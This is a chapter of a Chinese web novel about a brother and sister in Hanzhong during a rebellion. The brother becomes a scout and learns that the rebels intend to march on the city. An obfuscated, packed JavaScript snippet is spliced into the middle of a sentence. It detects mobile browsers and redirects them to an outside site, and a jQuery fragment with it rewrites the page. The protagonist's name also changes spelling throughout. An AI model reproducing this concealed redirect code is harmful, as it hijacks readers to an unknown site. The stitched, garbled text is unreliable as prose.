此时的汉中,自然还不清楚胡梁已经把他们这里惦记上。
这几天下来周节都格外的忙,不是因为别的正是因为胡梁他们一路烧杀抢掠从而导致产生的难民。
这些难民一开始的时候,自然是和顾迟他们想法一致想要往皇城根下走。
而不去的原因也同样。京师如今都已经是个实打实的不安全之处了,他们自然也不可能再继续往那走,于是这附近的几个州变成了这些人暂时居住度过这段时间的最好选择。
最早发现难民的是日常都在外头奔来跑去的周节。从顾迟他们开始,周节在外面便逐渐看到比当初顾驰他们还要更加狼狈的难民们。
这些难民,邓儒一开始并未打算接纳。可听说了叛军此时越发嚣张的时候邓儒便变了心思。
叛军将至,可汉中人却少。此时比起规矩来,自然是尽可能的增加人口更为重要。
于是邓儒大手一挥,但凡以后是路过汉中的难民都可以进城。以往的汉中从来没像这样子热闹过。
人多了自然是好事,但也不是没有坏处。如今街上人多了那抢劫拐小孩偷东西,这类的事情便也多了。顾弛便领了军令出来,每日都在这汉中城内守卫巡查。
而这些日子以来,因为顾弛在军里头也算是人缘不错再加上身手了得。周节便将顾驰破格提拔成了小队长,每日就负责领着十五个人在负责的区域巡查。
他们那巷子里头的人在听说了这事之后,还有不少人特地过来找了顾迟迟,倒也没直接说什么只是明里暗里的暗示想要巴结巴结。
顾迟迟这人对于这种行为倒是接受的十分良好,别人要来她家里坐坐,她也不拒绝,总归也是村子里头认识的人。若是要托她办什么事,那她可就说不懂了。她如今还只是一个才满十岁没多久的小孩儿。谁能说她不帮着办事儿?
再加上张姨和李婶儿有时候也帮她将那些人支开,渐渐的他们也就明白了找顾迟迟办事儿是没用的。
顾弛回来的时候,就见自己妹妹坐在板凳上头,嘴巴里念念有词。他把外衣脱了,问顾迟迟,“怎么了?这是想些什么呢?”
顾迟迟想了想,觉得这件事情还是同她哥说了比较好,这战前准备总是越早越好的。虽然她不清楚那青海叛军此时会不会对汉中出手,但日后就是乱世了,早准备总比临到头了再准备的好。
“我总觉得这些日子只怕是平静不了多久。那青海叛军打到了蜀地,汉中就紧挨着,难不成他们还会对汉中手下留情吗?”更何况汉中的位置一向特殊。
这句话说得在理。顾驰点头。
但其实汉中城内也未必就没有士兵去探查,只是据顾弛所知,那些人最多探查个五十里也就回来了,再远一些的,他们却是去也不去。
这事儿确实是正事儿。顾弛点点头,表示记下了。
顾迟迟又想起来一件事儿。
“对了哥,我还拿你的月俸多去买了点药材,多做了点药出来,你记得拿。”
这些药自然是预备着顾迟身边的关系好的,若是有什么急伤的,便可以用这个药先包扎着。
别的顾迟迟不敢说,但是就这个药的止血能力来说的话,比市面上所有药的效果都要更好。而处于如今这个时代来说,其实大多数士兵的死亡都是因为止血不及,还有一些则是因为伤口感染而死。
顾弛也一应都应下,那药的确是好东西,迟早用得上的。
他也叮嘱了顾迟迟几句,“这些日子你记得少出门。有事儿就来找我就行。我每天都在街上遛着呢。”
顾弛第二日见到周节的时候,就忽然想起了昨晚上顾迟迟同他说的那些话。
这些日子他舅趁乱,就把他的位置又往上面升了一级。他本就不是顾迟的直系上司,此时更是又升了一级了。
武官的升官总是要简单一些,更何况周节对谁都好,有时候甚至宁愿自己少拿一点东西也要给自己兄弟。于是他的升官也就更没有异议了。
如今的周节已经是翊麾副尉了,大大小小管着上千号人。顾弛拉住他,问他道:“咱们这些日子那出门探查的最远的都到了多少里?”
周节对这个倒不是很了解,在心里头默了默,“大概也就这四五十里吧。”
这个答案一说出口,周节当即心脏一跳。这个距离对于探查敌情来说,只能说是聊胜于无。古代本就消息传递尤其慢,天下大战都很有可能打到家门口了才知道原来天下早就乱了。
远方的敌人到底是什么情况?他们这里可谓是熊瞎子,看不见。即使此时青海叛军的主要侵入范围是在蜀地,但对于一个城池的斥候来说,四五十里是绝对不行的。
他心里头把这事记下了,准备去同他舅舅好生提上一嘴。就被顾弛挤眉弄眼的给拉到了隐蔽处。周节显然有一些疑惑,正要问,就听见顾驰先开了口。
“你觉得这事儿我去做,怎么样?”
你去?
周节看了几眼顾弛,若说这武力值那顾弛自然是没有问题的,但是对方会骑马吗?
顾弛那当然是不会的,从小到大连驴都没有见过几匹,更不要说这马了。周节一拍他肩膀,正要说让他还是练练再来吧,就见顾弛确实是一副极为认真的模样。
于是对方纳闷了,这探查兵又不是什么好干的活,这要是隐蔽功夫不到家,瞧见了被对方瞧见那到时候可不是开玩笑的。
顾弛为什么想要这个位置,自然是因为这个位置紧要。
不止是因为他妹的话。顾驰这些日子从那些逃难百姓口中得知,这青海叛军在蜀地之内可谓是没碰上多少阻碍。
这可是让顾驰心中绷紧了一根弦了,青海叛军既然敢对蜀地出手,那就难保不会对汉中出手。
而如今的汉中,顾驰自己亲眼便巡视过,若是继续如此只怕是挡不住的。
周节倒是没想到,顾弛居然还想得这么多这么深。他也被顾驰口中的可能性惊了一惊,眉眼沉下去,良久道:“这样。你这的位置呢,我也先给你留着。你去学几天骑马,过几日就安排你去当斥候。只是千万记得,万万不能暴露了自己的身份。还有这事儿,我会去同我舅舅详细说清楚,这事儿事关重大,的确不能随意。”
顾驰一笑,“那可就多谢周兄了。”
周节一拍顾弛肩膀,“兄弟间,说这些做什么!更何况你出去巡查探查,我也放心些。如今这个情形若是没事儿把你放出去损失不了什么,可若是有事那可就是立了大功了。”
当场周节就领着顾驰去找了一匹马,还给顾驰找了个教骑马的师傅。
一连好几日,顾驰近乎是住在那马背上了。没办法,只有这样才能以最快速度学会骑马。磨得大腿生疼生疼的也没办法,只能尽可能的换些不那样粗糙的衣裳来穿。
几日后,顾驰临走前还特地去和顾迟迟说了一声。这才跟着先前的斥候一同往蜀地方向去了。
“咱们还要往多远走啊?”
这都快距离汉中快有两百里了。以往那些偷懒,最多也就走个百里,这位新来的倒是好,直接把他们拖到这里来了。
那陪着一起来探查的,那心里头显然就不舒心了。
这汉中以往从未经历过战争所谓的斥候,也不过就是从军队里面随便挑了几个出来,他们没读过书自然也不清楚这斥候到底要怎么当。就觉得这走个一百里就是了不得的了。
顾弛也没有读过多少书,但是他却记得曾经张田同他说过一句有关于这行军速度方面的。
“凡军行在道,十里齐整休息,三十里会乾粮,六十里食宿。”
这句话的意思就是但凡是军队每走十里便要休息一次,三十里便会用一次饭走了,六十里便要住宿。
他也不清楚,如果是叛军的话,会不会根据这个来行进。但此时也没有其他法子可以估算,他便按着这个来算。所以最起码,他得为汉中争取五六
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541894|171012||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日的时间吧。如今这个距离对他来说自然是不够的。
他们单人单骑,速度不低。顾弛虽然学骑马的时间不长,但是这毅力却惊人。在这马背上头最长的一次快要待在马上三个时辰,不停的打马,简直没把自己的腿当成腿在用。
到了中途的地方,那些人实在是受不了了。他们觉得实在是已经差不多了。不说别的,起码这两百里的内距离他们是已经查探清楚的。
说要休息一下的时候,顾弛腿都在打颤。但是他心里头始终放不下,他总觉得应该再往前走走。这预感也没法和他们说。只好一群人沉默着吃了饭喝了水,就准备再次出发的时候。
谁知那身后几个实在是撑不住了。一个说自己肚子疼,还有一个说自己腿疼,最后一个就说自己要坏肚子,必须要休息休息。
但是顾辞哪里有时间让他们休息,更何况这么明显,一瞧就是不愿意继续跟着他去了。算了,既然如此他也不好勉强。其实按理来说,他也是不愿意折腾别人的,但这事儿真不是折腾不折腾的事儿,情况不打听清楚,他是绝对不能够放心回去的。
顾弛给那些人留了些钱,让他们在这儿休息够了就先回去。他自己一瘸一瘸的又上了马。
他怎么着都必须打听清楚那临川那边如何了再回去,好不容易走到这里,绝不能轻易白费了。
他走得坚毅,那后头几个这时候却又有些不好意思了。
这事儿闹得!
不过他们那边如何想都妨碍不到顾弛了,他一路赶到了临川。还没靠近呢,就察觉到临川如今情况有些不太好。他也不莽撞,先在外头悄悄的看着。
他把马藏好了,就瞧见临川县如今来往的人尤其少,进进出出的人和以往比起来完全不能同日而语。
他瞧着,觉得不对劲。便又悄悄去了五宝村。他这一回去,村里头那些人可就跟见了亲人一样的凑了上来。他们哪里能想到回来之后的确没有遇到洪灾,可是却遇到了比洪水还要可怕的叛军。
顾弛打眼一看,留下来的竟然都是些老人家了。壮年的几乎没有。一问才知道,叛军一来便要他们给粮,一开始的时候不给还会被打死。便是五宝村里头也死了好些,就像是先前的李生他一向是个觉得自个儿厉害的,当场就被活活打死了。
也不知道后面怎么的了,又不打人了。要把人带走,因此有不少人家就还是跟着去了。而留下来的,大多数都是些老人,军队里头也不要的。
顾弛听得皱眉,他实在是没想到如今情况如此差了。
还有那萧永,竟真有如此缺粮食了?
他又问起有关于县令的事儿。于是就有人回答说那县令原本是要跑的,但是跑的时候错了,刚巧就碰上那萧永了。
说起来也怪,那县令往哪里跑不好,非要跑的时候还往那青海方向跑,可不就是撞上了。当场就被杀了。
顾弛留了个心眼,试探问那县令一个人跑的,带的东西不多吗?那人就说,据说没看见什么东西。
那就怪了。
往西边跑?身上还什么东西都没带,难道西边有什么隐秘东西不成?
他记在心里。
这边的事儿打听得差不多,他便给了那人一条明路,这些日子大家都往汉中那地方去。五宝村里头的大多数都是以往的亲戚,他给出点盘缠,让他们都往汉中那边去。
于是就把身上的钱都给了来人。来人拿着钱,打量着顾弛,心里头想着,看来这当初的小混混儿还真混出点门道来了。
而顾驰后面则是趁着夜色往临川县里面去了,这一去不要紧,紧要的是顾驰打听出来的消息。
那临川县里头的将领压根都没有要掩饰接下来目的的心思,还没等顾驰主动去打听,就听见有人在城门处抱怨,说不明白分明才把蜀地打了下来,为何又要继续北上去打汉中。
顾驰当即心头一紧,来不及等更多,当即便出了城门急忙赶回汉中。